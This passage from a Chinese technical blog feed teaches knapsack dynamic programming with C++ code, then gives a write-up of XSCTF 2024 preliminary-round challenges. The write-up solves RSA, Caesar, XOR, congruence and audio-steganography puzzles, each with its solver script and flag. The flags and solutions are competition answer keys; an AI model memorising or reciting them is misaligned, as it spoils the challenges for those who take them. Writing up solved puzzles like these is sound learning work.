&lt;blockquote&gt;
&lt;p&gt;有$n$个物品和一个容量为$W$的背包，每个物品的重量为$w_i$，价值为$v_i$．求物品的最大总价值，其中物品总重不超过背包容量．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;0-1背包问题&lt;/strong&gt;是所有背包问题的鼻祖．&lt;/p&gt;
&lt;p&gt;每个物品只有「在背包里」和「不在背包里」两种状态，对应二进制中的 $1$ 和 $0$，因而得名．&lt;/p&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;p&gt;背包问题的经典解法是&lt;strong&gt;动态规划&lt;/strong&gt;．「执古之道，以御今之有」便是动态规划的核心思想，其基本步骤如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;明确问题（我在干啥）&lt;/strong&gt; 用容量为$W$的背包去装编号为 $1, 2, \cdots, n$ 的物品，求最大总价值．&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;定义状态（找出问题的参变量）&lt;/strong&gt; 上面的问题我们记作 $\text{Sol}(n, W)$．$\text{Sol}$ 意为 $\text{Solution}$，即解决方案；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;拆解子问题（当前状态可以从哪些状态得来）&lt;/strong&gt; 这里我们先以&lt;strong&gt;全局视角&lt;/strong&gt;看待问题．我们关注编号为 $n$ 的物品：在整个问题的最优解里，这个物品在不在背包里？&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;在背包里．我们把这个物品放进背包里，背包价值已达 $v_n$，那背包还剩多少空间呢？&lt;/p&gt;
&lt;p&gt;还剩 $W-w_n$．这个策略产生了一个&lt;strong&gt;子问题&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;「用容量为 $W-w_n$ 的背包去装编号为 $1, 2, \cdots, n-1$ 的物品，求最大总价值」，即 $\text{Sol}(n-1, W-w_n)$．&lt;/p&gt;
&lt;p&gt;整个问题的解决方案便产生了：$\text{Sol}(n, W) = v_n + \text{Sol}(n-1, W-w_n)$，$w_n \le W$．&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;不在背包里．编号为$n$的物品被忽视，这个策略也产生了一个&lt;strong&gt;子问题&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;「用容量为 $W$ 的背包去装编号为 $1, 2, \cdots, n-1$ 的物品，求最大总价值」，即 $\text{Sol}(n-1, W)$．&lt;/p&gt;
&lt;p&gt;整个问题的解决方案便产生了：$\text{Sol}(n, W) = \text{Sol}(n-1, W)$．&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;状态转移（参考已解决子问题的答案，提出当前未解决问题的方案）&lt;/strong&gt; 两种策略分析完毕后，为了解决整个问题，我们该采取哪种策略呢？由于「在背包里」和「不在背包里」这两种情况是互补的，已经涵盖整个问题，故两者取最优即可 （&lt;strong&gt;最优子结构&lt;/strong&gt;），即
$$
\text{Sol}(n, W) = \max(v_n + \text{Sol}(n-1, W-w_n),, \text{Sol}(n-1, W))
$$
注意，我们&lt;strong&gt;策略的选择可能并不自由&lt;/strong&gt;，因为某些情况下我们没得选：在这里当前物品可能太重装不下，只能采取「不在背包里」这个策略：
$$
\text{Sol}(n, W) = \text{Sol}(n-1, W)
$$
我们发现接下来的问题和原来的问题&lt;strong&gt;形式上&lt;/strong&gt;是一样的，只是问题的&lt;strong&gt;规模&lt;/strong&gt;变小了．到这里我们有很自然的实现方式：&lt;strong&gt;递归&lt;/strong&gt;．任意小规模问题的方案与上式形式一样，我们考虑小规模问题「用容量为 $c$ 的背包去装编号为 $1, 2, \cdots, i$ 的物品」，则
$$
\text{Sol}(i, c) = \max(v_n + \text{Sol}(i-1, c-w_n),, \text{Sol}(i-1, c))
$$
我们发现在递归过程中，问题的规模始终是单调减小的（&lt;strong&gt;无后效性&lt;/strong&gt;），因此我们在关注物品 $1, 2, \cdots, i$ 的时候，「对物品 $i$ 是否放进背包中的决策」不会受「背包中物品 $i+1, i+2, \cdots, n$ 的存在与否」的影响．&lt;/p&gt;
&lt;p&gt;在递归过程中，一个问题可能同时是多个大问题的子问题（&lt;strong&gt;子问题重叠&lt;/strong&gt;），因此我们需要用数组 $\text{dp}[i][c]$ 存储子问题的答案以供后续大问题的查阅，并干脆直接使用&lt;strong&gt;递推&lt;/strong&gt;实现状态的转移：
$$
\text{dp}[i][c] = \max(v[i] + \text{dp}[i-1][c-w[i]],, \text{dp}[i-1][c])
$$&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;解决基本小问题&lt;/strong&gt; 由于问题规模始终单调减小，递归终将产生基本小问题．在这里，基本小问题应该是 $\text{Sol}(1, 0)$，$\text{Sol}(1, 1)$，$\cdots$，$\text{Sol}(1, W)$ 了吧，不过我们还可以更进一步：$\text{Sol}(0, 0)$，$\text{Sol}(0, 1)$，$\cdots$，$\text{Sol}(0, W)$，这些问题的答案显然都是$0$．&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;至此，我们只需要从头到尾遍历一遍 $\text{dp}$ 数组便可以得到整个问题的答案：$\text{dp}[n][W]$．&lt;/p&gt;
&lt;h3&gt;代码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;
using namespace std;
constexpr int MAXN = 10000;
constexpr int MAXW = 100;

int n, W;
int w[MAXN], v[MAXN];
int dp[MAXN+1][MAXW+1];

int main() {
  cin &amp;gt;&amp;gt; n &amp;gt;&amp;gt; W;
  for (int i = 1; i &amp;lt;= n; i++) {
    cin &amp;gt;&amp;gt; w[i] &amp;gt;&amp;gt; v[i];
  }
  for (int i = 1; i &amp;lt;= n; i++) { // 问题的规模逐渐变大
    for (int c = 0; c &amp;lt;= W; c++) {
      if (w[i] &amp;lt;= c) { // 装得下，我们有两种策略
        dp[i][c] = max(v[i] + dp[i-1][c-w[i]], dp[i-1][c]);
      } else { // 装不进去，我们没得选
        dp[i][c] = dp[i-1][c];
      }
    }
  }
  cout &amp;lt;&amp;lt; dp[n][W];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;时间复杂度：$O(nW)$，空间复杂度：$O(nW)$．&lt;/p&gt;
&lt;h3&gt;优化&lt;/h3&gt;
&lt;p&gt;$O(nW)$ 的空间复杂度并不优秀．我们使用了二维数组 $\text{dp}$ 存储状态，但是我们会发现在状态转移到 $i$ 的过程中，只使用到了 $i-1$ 的状态，$i-2, i-3, \cdots, 2,1$ 的状态对当前及以后的决策毫无帮助，无疑浪费了存储空间．无独有偶，$w[i]$ 和 $v[i]$ 自始至终只被使用过一次用于状态转移．&lt;/p&gt;
&lt;p&gt;很自然的想法便是边读 $w, v$ 边转移 $\text{dp}$，并只存储两层的状态 $\text{dp}[2][W]$，每层转移新老交替，循环利用．但我们可以更进一步：只使用一层存储状态 $\text{dp}[W]$，新老状态共用，这便是&lt;strong&gt;滚动数组&lt;/strong&gt;：
$$
\text{dp}[c] = \max(v + \text{dp}[c-w],, \text{dp}[c])
$$
注意，此时遍历范围也可以获得简化：$c \in [w, W]$，因为一旦 $c &amp;lt; w$，即背包容量不足，此时子问题 $\text{dp}[i][c]$ 完全等价于 $\text{dp}[i-1][c]$．而在滚动数组的实现中，经过此次遍历后，$\text{dp}[c]$ 的含义自动从 $\text{dp}[i-1][c]$ 转化成 $\text{dp}[i][c]$，无需任何更新操作，故无需遍历 $c &amp;lt; w$．&lt;/p&gt;
&lt;p&gt;如果沿用之前的思路（背包容量 $c$ 从 $w$ 到 $W$ 正向遍历），我们很快会发现问题：$\text{dp}[c-w]$ 已经不代表 $\text{dp}[i-1][c-w[i]]$ 了，而是早已被更新为 $\text{dp}[i][c-w[i]]$，因为状态的转移是按照背包容量从小到大的顺序进行的．&lt;strong&gt;此时物品$i$已经被考虑了&lt;/strong&gt;，而不仅仅考虑物品 $1, 2, \cdots, i-1$，这就导致后面的大背包容量问题没法使用小规模问题「仅考虑物品 $1, 2, \cdots, i-1$」的答案 $\text{dp}[i-1][\cdots]$．该怎么办？&lt;/p&gt;
&lt;p&gt;很简单，只需&lt;strong&gt;将遍历顺序倒转过来&lt;/strong&gt;即可（背包容量 $c$ 从 $W$ 到 $w$ 遍历）：这保证了大背包容量问题能够使用小规模问题「仅考虑物品 $1, 2, \cdots, i-1$」的答案并优先得到解答．
$$
\text{dp}[c] = \max(v + \text{dp}[c-w],, \text{dp}[c]), \quad c :: \text{from}:W :\text{to}:w
$$&lt;/p&gt;
&lt;h3&gt;优化代码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;
using namespace std;
constexpr int MAXN = 10000;
constexpr int MAXW = 100;

int n, W, w, v;
int dp[MAXW+1];

int main() {
  cin &amp;gt;&amp;gt; n &amp;gt;&amp;gt; W;
  for (int i = 1; i &amp;lt;= n; i++) {
  cin &amp;gt;&amp;gt; w &amp;gt;&amp;gt; v;
    for (int c = W; c &amp;gt;= w; c--) { // 倒过来遍历，保证子问题答案没有先被更新
      dp[c] = max(v + dp[c-w], dp[c]);
    }
  }
  cout &amp;lt;&amp;lt; dp[W];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;时间复杂度：$O(nW)$，空间复杂度：$O(W)$．&lt;/p&gt;
&lt;h2&gt;完全背包&lt;/h2&gt;
&lt;h3&gt;问题&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;有$n$&lt;strong&gt;种&lt;/strong&gt;物品和一个容量为$W$的背包，每种物品的数量无限，重量为$w_i$，价值为$v_i$．求物品的最大总价值，物品总重不超过背包容量．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;与0-1背包问题类似，但每种物品可以取无限次．&lt;/p&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;p&gt;最朴素的思路就是在0-1背包的基础上，添加待选策略：在背包里第 $i$ 种物品有 $2$ 个、$3$ 个 ······ $k$ 个，则状态转移方程应为
$$
\text{dp}[i][c] = \max\limits_{k=0}^{\lfloor c/w[i] \rfloor}{k \cdot v[i] + \text{dp}[i-1][c-k \cdot w[i]]}
$$
滚动数组优化得
$$
\text{dp}[c] = \max\limits_{k=\lfloor c/w \rfloor}^{0}{k \cdot v + \text{dp}[c-k \cdot w]}, \quad c :: \text{from}:W :\text{to}:0
$$
这样做确实可行，但时间复杂度已经来到 $O(nW^2)$，难登大雅之堂，有什么办法吗？&lt;/p&gt;
&lt;p&gt;我们考虑这样一种情形：我们在考虑放多少个第 $i$ 种物品时($\text{dp}[i][c]$)，如果能放，不妨先只放 $1$ 个，其子问题变为：在背包容量减少 $w[i]$ 的情况下，「用容量为 $c-w[i]$ 的背包去装编号为 $1, 2, \cdots, i$ 的物品，求最大总价值」；($\text{dp}[i][c-w[i]]$)&lt;/p&gt;
&lt;p&gt;如果不能放，或者不放，其子问题变为：在背包容量不变的情况下，「用容量为$c$的背包去装编号为 $1, 2, \cdots, i - 1$ 的物品，求最大总价值」．($\text{dp}[i-1][c]$)&lt;/p&gt;
&lt;p&gt;据此我们写出状态转移方程
$$
\text{dp}[i][c] = \max(v[i] + \text{dp}[i][c-w[i]],, \text{dp}[i-1][c])
$$
能否使用滚动数组优化？能，但要注意 $\text{dp}[i][c-w[i]]$，其与0-1背包不同：子问题中物品种数的考虑规模不变，但背包容量规模减小了．我们不能反向遍历数组，反而是正向遍历数组：因为反向遍历时，我们只能获得 $\text{dp}[i-1]$ 子问题的答案，不能获得&lt;strong&gt;物品种数的考虑规模相同&lt;/strong&gt;的子问题 $\text{dp}[i]$ 的答案．
$$
\text{dp}[c] = \max(v + \text{dp}[c-w],, \text{dp}[c]), \quad c :: \text{from}:w :\text{to}:W
$$&lt;/p&gt;
&lt;h3&gt;代码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;
using namespace std;
constexpr int MAXN = 10000;
constexpr int MAXW = 100;

int n, W, w, v;
int dp[MAXW+1];

int main() {
  cin &amp;gt;&amp;gt; n &amp;gt;&amp;gt; W;
  for (int i = 1; i &amp;lt;= n; i++) {
    cin &amp;gt;&amp;gt; w &amp;gt;&amp;gt; v;
    for (int c = w; c &amp;lt;= W; c++) { // 正向遍历
      dp[c] = max(v + dp[c-w], dp[c]);
    }
  }
  cout &amp;lt;&amp;lt; dp[W];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;时间复杂度：$O(nW)$，空间复杂度：$O(W)$．&lt;/p&gt;
</content:encoded></item><item><title>XSCTF 2024(pre) shy_vector&apos;s wp</title><link>https://fuwari.vercel.app/posts/cs/ctf/xsctf-2024-pre-shy-vector-wp/xsctf-2024-pre-shy-vector-wp/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/cs/ctf/xsctf-2024-pre-shy-vector-wp/xsctf-2024-pre-shy-vector-wp/</guid><description>XSCTF2024 部分个人题解</description><pubDate>Sun, 03 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;gift_RSA 题解&lt;/h2&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;p&gt;&lt;s&gt;注意到&lt;/s&gt;您用私钥（按流程来说是公钥）加密，公钥（按流程来说是私钥）公之于众：
$$
ed \equiv 1 ,(\text{mod} ,\varphi(n) )
$$
$e$ 和 $d$ &lt;strong&gt;互为&lt;/strong&gt;模 $\varphi(n)$ 意义下的逆元，因此公私这个概念是&lt;strong&gt;相对&lt;/strong&gt;的．&lt;/p&gt;
&lt;p&gt;于是代码中的 &lt;code&gt;e&lt;/code&gt; 其实就已经是私钥了，直接解密即可．&lt;/p&gt;
&lt;h3&gt;代码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
from secret import flag

&apos;&apos;&apos;
m = bytes_to_long(flag)
p = getStrongPrime(512)
q = getStrongPrime(512)
n = p*q
e = 0x10001
phi = (p-1)*(q-1)
d = inverse(e, phi)
gift = pow(m, d, n)
print(f&apos;n = {n}&apos;)
print(f&apos;gift = {gift}&apos;)
&apos;&apos;&apos;

n = 130440460982994054886194132893343627339035187428107218807321147405620338019874355591446417761513664225266160038818394605319887375239391287230478660163653875242501357695986002630460984513202850115668909532480905521208688225215737924902179053646260998230998190491472420237789646660909155287180241747552560215117

gift = 44036549032562248382682022800700872356499366761892236792447591596664499865604669855744690854360939082917175165565199000408965931210082233109686848459850428016737476624525455409019711542678368419364411036613979498284492060998121701989232698779962405921949163953624713959841997664118682769289019562394455997308

e = 0x10001

m = pow(gift, e, n)

flag = long_to_bytes(m)

print(flag)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;答案&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;XSCTF{H3re_i5_@_Gif7_f0r_y0u_From_Euler:)))))!}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;凯撒子撒子凯视眈眈 题解&lt;/h2&gt;
&lt;p&gt;&lt;s&gt;shiiikaaashiiikaaa要被洗脑力&lt;/s&gt;&lt;/p&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;p&gt;可以看出加密过程就是对 &lt;code&gt;flag&lt;/code&gt; 的每个字符进行如下操作：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;若为字母 (&lt;code&gt;string.ascii_letters&lt;/code&gt;)，将该字母的ASCII值加上 &lt;code&gt;offset&lt;/code&gt;；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;否则不变（&lt;code&gt;_&lt;/code&gt; 和 &lt;code&gt;@&lt;/code&gt;）．&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;每次操作后都将 &lt;code&gt;offset&lt;/code&gt; 的值取反（只有 $\pm 1$ 两种值）&lt;/p&gt;
&lt;p&gt;上面的操作都是可逆的，并且逆向操作很容易，于是只需逆向操作即可．&lt;/p&gt;
&lt;h3&gt;代码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import string
# from secret import flag
&apos;&apos;&apos;
# ぬん！
def s_hi_ka(text):
    offset = 1
    enc = &apos;&apos;
    for w in text:
        if w in string.ascii_letters:
            enc += chr(ord(w) + offset)
        else:
            enc += w
        offset *= -1
    return enc

with open(&quot;shikaed_flag.txt&quot;, &quot;w+&quot;) as shika:
    shika.write(s_hi_ka(flag))
&apos;&apos;&apos;

def ka_s_hi(text):
    offset = -1
    enc = &apos;&apos;
    for w in text:
        if w in string.ascii_letters:
            enc += chr(ord(w) + offset)
        else:
            enc += w
        offset *= -1
    return enc

FLAG = ka_s_hi(&apos;YRDSG{L@J_T@_M0JP_ONLN_MPJ0_L0PNP0_RIH_S@M!_U@O!!!}&apos;)
print(FLAG)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;答案&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;XSCTF{K@I_S@_N0KO_NOKO_NOK0_K0OOO0_SHI_T@N!_T@N!!!}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Baby_xor 题解&lt;/h2&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;p&gt;加密过程其实就是用 &lt;code&gt;cipher = flag ^ cycle(key)&lt;/code&gt;，而我们知道异或是对称加密的，即 &lt;code&gt;flag = cipher ^ cycle(key)&lt;/code&gt;．&lt;/p&gt;
&lt;p&gt;但是我们没 &lt;code&gt;key&lt;/code&gt; 怎么办，我们只知道 &lt;code&gt;cipher&lt;/code&gt; ... 吗？我们其实还知道 &lt;code&gt;flag&lt;/code&gt; 的格式是 &lt;code&gt;XSCTF{...}&lt;/code&gt; &lt;s&gt;（CTF特色）&lt;/s&gt;，即 &lt;code&gt;flag&lt;/code&gt; 的前 6 个字符和最后一个字符．&lt;/p&gt;
&lt;p&gt;根据 &lt;code&gt;cycle(key) = cipher ^ flag&lt;/code&gt;，我们就能知道 &lt;code&gt;key&lt;/code&gt; 的前六个字符．&lt;/p&gt;
&lt;p&gt;那 &lt;code&gt;key&lt;/code&gt; 的最后一个字符怎么办？欸👆🤓，&lt;s&gt;注意到&lt;/s&gt; &lt;code&gt;flag&lt;/code&gt; 有 49 个字符，刚好是 7 的倍数，所以 &lt;code&gt;key&lt;/code&gt; 的最后一个字符就是 &lt;code&gt;&apos;}&apos; ^ &apos;\x19&apos;&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;代码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from itertools import cycle

&apos;&apos;&apos;
flag = b&quot;XSCTF{??????????????????????????????????????????}&quot;
len(flag) = 49
key = b&quot;???????&quot;
len(key) = 7
cipher = bytes(x ^ y for x, y in zip(flag, cycle(key))) # cycle() 产生循环迭代器
print(cipher)
&apos;&apos;&apos;

cipher = b&apos;672:/\x1a\n^\x10.!\x07P\x1d1\x10\x19]6\x12\x10Z\x16\x051+\x14\x101P\x1d[Y&amp;gt;\x10\x06W.]\x07%EOEPOH@\x19&apos;

guess_key = b&apos;ndqnia&apos; # guesskey(前6位) = cipher(前6位) ^ &apos;XSCTF{&apos;
for i in range(256): # 这里我给大脑偷懒(bushi)，暴力枚举key最后一位，以匹配解密后最后一位是不是&apos;}&apos;
    flag = bytes(x ^ y for x, y in zip(cipher, cycle(guess_key + chr(i).encode())))
    if flag.startswith(b&quot;XSCTF{&quot;) and flag.endswith(b&quot;}&quot;):
        print(&quot;Found the key:&quot;, guess_key)
        print(&quot;Flag:&quot;, flag)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;答案&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;XSCTF{n0t_On1y_th3_st4rt_But_4l50_th3_3nD!!!!!!!}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;guess_number2&lt;/h2&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;p&gt;下载apk文件并打开．&lt;s&gt;这...是逆向吗...?&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;简单的二分法猜数字&lt;/p&gt;
&lt;h3&gt;答案&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;flag{354685775276487354}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;なんで春日影やったの！ 题解&lt;/h2&gt;
&lt;p&gt;&lt;s&gt;为什么要演奏春日影！&lt;/s&gt;&lt;/p&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;p&gt;首先有两个WAV文件：&lt;code&gt;春日影.wav&lt;/code&gt;，&lt;code&gt;phone.wav&lt;/code&gt;．&lt;/p&gt;
&lt;p&gt;比较好入手的是 &lt;code&gt;phone.wav&lt;/code&gt;，一串拨号音．&lt;/p&gt;
&lt;p&gt;众所周知，电话机的每个按键都在相应的行和列上，而每行每列的声音频率各不相同，行音和列音叠加就是该按键发出的声音．（DTMF）&lt;/p&gt;
&lt;p&gt;那可不可以反过来，根据某一按键的声音频率，反推出这个按键所处的行和列，进而得知是哪个键（0-9, *, #）？&lt;/p&gt;
&lt;p&gt;当然可以，这个方法就是傅里叶变换：将声波分解成若干个正弦波．&lt;/p&gt;
&lt;p&gt;我们可以使用dtmf2num这个工具来将拨号音转换成一个数字组合：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;7355608&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./xsctf-2024-pre-shy-vector-wp-1.png&quot; alt=&quot;xsctf-2024-pre-shy-vector-wp-1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;Bomb has been planted.&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;很容易想到这应该是个 key，那就只能是 &lt;code&gt;春日影.wav&lt;/code&gt; 的事情了．&lt;/p&gt;
&lt;p&gt;&lt;s&gt;注意到&lt;/s&gt; &lt;code&gt;春日影.wav&lt;/code&gt; 是 WAV，对这种音频的隐写很容易想到用 DeepSound 工具解密：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./xsctf-2024-pre-shy-vector-wp-2.png&quot; alt=&quot;xsctf-2024-pre-shy-vector-wp-2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;是个网页，点进去：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./xsctf-2024-pre-shy-vector-wp-3.png&quot; alt=&quot;xsctf-2024-pre-shy-vector-wp-3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;😭😭😭😭😭😭&lt;/s&gt;&lt;/p&gt;
&lt;h3&gt;答案&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;XSCTF{HarUh1_kage}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;艾伦走路人 题解&lt;/h2&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Where are you now? Atlantis. Under the sea. Under the sea. Where are you now? Another dream. The monster&apos;s running wild inside of me. I&apos;m faded. I&apos;m faded. So lost, I&apos;m faded. I&apos;m faded. So lost, I&apos;m faded.    Where are you now? Atlantis. Under the sea. Under the sea. Where are you now? Another dream. The monster&apos;s running wild inside of me. I&apos;m faded. I&apos;m faded. So lost, I&apos;m faded. I&apos;m faded. So lost, I&apos;m faded.

Wiesf are!ypu opw@ Atlbotjs/ Vndes thf!seb/!Vnefr!tif sfa.!Xhere bsf zov oox@!Boouhfr!esean/ Tif npostfr&apos;s!sunojnh xjme!intjdf!pf!ne/ I&apos;m!gadfd/ J&apos;n!gbeed/!Sp motu,!I&apos;m fbeee. I(n fbded.!To losu-!I(n!fbdfe/!! !Xiese arf!you npw@!Bumaouit/ Vnefs!thf teb/!Vodes!the!sfb.!Whfrf!arf!yov nox?!Anptifr!dseam. Uhf!mpostes(s ruonjog!xjld!iosjef pg me.!I(n gbded/!I(m!gaefd.!Sp mptt,!I&apos;n!gbeee. I&apos;m faded. So lost, I&apos;m faded.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;s&gt;注意到&lt;/s&gt;明文和密文之间的差异仅仅只有一些字符被替换．&lt;/p&gt;
&lt;p&gt;&lt;s&gt;停！放大，放大，再放大！快看！&lt;/s&gt;&lt;strong&gt;所有&lt;/strong&gt;替换后的字符相比替换前的字符在 ASCII 码上仅仅是 +1．&lt;/p&gt;
&lt;p&gt;欸👆🤓，没替换就是 0，替换就是 1，信息这不就来了吗（&lt;/p&gt;
&lt;h3&gt;代码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
A = &quot;Where are you now? Atlantis. Under the sea. Under the sea. Where are you now? Another dream. The monster&apos;s running wild inside of me. I&apos;m faded. I&apos;m faded. So lost, I&apos;m faded. I&apos;m faded. So lost, I&apos;m faded.    Where are you now? Atlantis. Under the sea. Under the sea. Where are you now? Another dream. The monster&apos;s running wild inside of me. I&apos;m faded. I&apos;m faded. So lost, I&apos;m faded. I&apos;m faded. So lost, I&apos;m faded.&quot;
B = &quot;Wiesf are!ypu opw@ Atlbotjs/ Vndes thf!seb/!Vnefr!tif sfa.!Xhere bsf zov oox@!Boouhfr!esean/ Tif npostfr&apos;s!sunojnh xjme!intjdf!pf!ne/ I&apos;m!gadfd/ J&apos;n!gbeed/!Sp motu,!I&apos;m fbeee. I(n fbded.!To losu-!I(n!fbdfe/!! !Xiese arf!you npw@!Bumaouit/ Vnefs!thf teb/!Vodes!the!sfb.!Whfrf!arf!yov nox?!Anptifr!dseam. Uhf!mpostes(s ruonjog!xjld!iosjef pg me.!I(n gbded/!I(m!gaefd.!Sp mptt,!I&apos;n!gbeee. I&apos;m faded. So lost, I&apos;m faded.&quot;

for x, y in zip(list(A), list(B)):
  print(ord(y) - ord(x), end = &apos;&apos;)
print(&apos;&apos;)

# 上面打印出来的01串
b_str = &quot;01011000010100110100001101010100010001100111101101011001001100000111010101011111010101110011001101110010001100110101111100110111011010000110010101011111001101010110100000110100011001000011000001110111010111110111010000110000010111110110110101111001010111110011000101101001011001100100010100101101010000010110110001100001011011100101011101100001011011000110101101100101011100100111110100000000000000000000000000000000&quot;
print(long_to_bytes(int(b_str, 2))) # 二进制解读str转int，int转bytes
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;答案&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;XSCTF{Y0u_W3r3_7he_5h4d0w_t0_my_1ifE-AlanWalker}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Easy_congruence 题解&lt;/h2&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;p&gt;分析代码，得知
$$
mg \equiv c ,(\text{mod},p)
$$
&lt;s&gt;物体的重力在模p意义下与光速相等．&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;这是个线性同余方程，要想求解 $m$ ，可以考虑两边乘上 $g$ 的逆元．&lt;/p&gt;
&lt;p&gt;But！$g$ 的逆元不一定存在！逆元存在的条件是 $\text{gcd}(g, p) =1$．&lt;/p&gt;
&lt;p&gt;&lt;s&gt;经检验，&lt;/s&gt; $\text{gcd}(g, p) \ne 1$，该咋办？这里我们用一种方法可以回避这个问题：将同余方程两边同除以$\text{gcd}(g, p)$．&lt;/p&gt;
&lt;p&gt;&lt;s&gt;经检验，&lt;/s&gt; $\text{gcd}(g, p) ,|, c$，于是得到
$$
m \cdot \dfrac{g}{\text{gcd}(g, p)} \equiv \dfrac{c}{\text{gcd}(g, p)} ,(\text{mod} , \dfrac{p}{\text{gcd}(g, p)})
$$
这下就 $\text{gcd}(\dfrac{g}{\text{gcd}(g, p)}, \dfrac{p}{\text{gcd}(g, p)}) =1$ 啦，两边乘逆元得
$$
m \equiv \dfrac{c}{\text{gcd}(g, p)} \cdot \left(\dfrac{g}{\text{gcd}(g, p)}\right)^{-1},(\text{mod} , \dfrac{p}{\text{gcd}(g, p)})
$$&lt;/p&gt;
&lt;h3&gt;代码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
import gmpy2
# from secret import flag

# m = bytes_to_long(flag)
p = 10453494189896814393489082401798067658149446733396819562864863864546212967979882859223572465368952108706223229855398759198028181181112373274325597469810991
g = 9232525983054729206798795323103994881466871254409162769478260108293334381919547345560776320223556367674557075231517532178126540033249822348773494136177921
# c = 0
# for i in range(m):
#     c = (c + g) % p
# print(f&apos;{c = }&apos;)
c = 8886193310067666634125506832267082757853820097857444927164754043468885469055206104670212428406260567513675590416958026784669265723231129616766608308131367

g, p, c = g // gmpy2.gcd(g, p), p // gmpy2.gcd(g, p), c // gmpy2.gcd(g, p) # 可使用拓展欧几里得算法求逆

# print(c % gmpy2.gcd(g, p))  # 经检验(bushi)
g_inv = gmpy2.invert(g, p)    # g&apos;逆
m = (c * g_inv) % p           # m
print(long_to_bytes(m))
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;答案&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;XSCTF{Ext3nded_Eucl1de4n_a1gOrithm_1s_50_eleg4nt.}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;恶魔的语言 题解&lt;/h2&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;ng bo ng sa sii sa ng sii sii leu cai b leu e sii f cai cai ng f cai jau sa leng cai ng ng f leu b leu e sa leng cai cai ng f cai cai sa sa leu e cai a leu bo leu f cai ng ng f leu sii leu jau sa sii leu c leu ng leu sa cai sii cai d&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;根据题意，这是一段温州话的发音．&lt;/p&gt;
&lt;p&gt;网上查阅资料发现，这些两个字母及以上的词都是温州话相应数字的发音，并且&lt;s&gt;注意到&lt;/s&gt;一个字母的只有a-f，很容易联想到十六进制．&lt;/p&gt;
&lt;h3&gt;代码&lt;/h3&gt;
